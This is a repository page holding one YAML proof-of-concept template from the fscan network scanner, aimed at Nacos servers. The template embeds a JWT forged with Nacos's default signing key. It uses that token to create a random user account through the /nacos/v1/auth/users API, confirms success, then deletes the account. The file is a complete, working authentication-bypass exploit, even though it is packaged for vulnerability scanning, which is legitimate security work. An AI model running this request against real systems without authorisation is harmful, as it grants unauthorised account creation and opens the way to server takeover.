Files
fscan/webscan/pocs/nacos-token-create-user.yaml
ZacharyZcR 3ef7a1beee
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
feat: expand internal network poc coverage
2026-07-16 02:04:36 +08:00

34 lines
999 B
YAML

id: nacos-token-create-user
info:
name: Nacos 默认密钥创建用户
author: zan8in
severity: critical
verified: true
description: |-
Nacos 默认密钥创建用户
tags: nacos,rce
created: 2024/07/20
set:
token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
randuser: randomLowercase(6)
randpass: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /nacos/v1/auth/users
headers:
Authorization: Bearer {{token}}
body: username={{randuser}}&password={{randpass}}
expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'create user ok!')
r1:
request:
method: DELETE
path: /nacos/v1/auth/users?username={{randuser}}
headers:
Authorization: Bearer {{token}}
expression: true
expression: r0() && r1()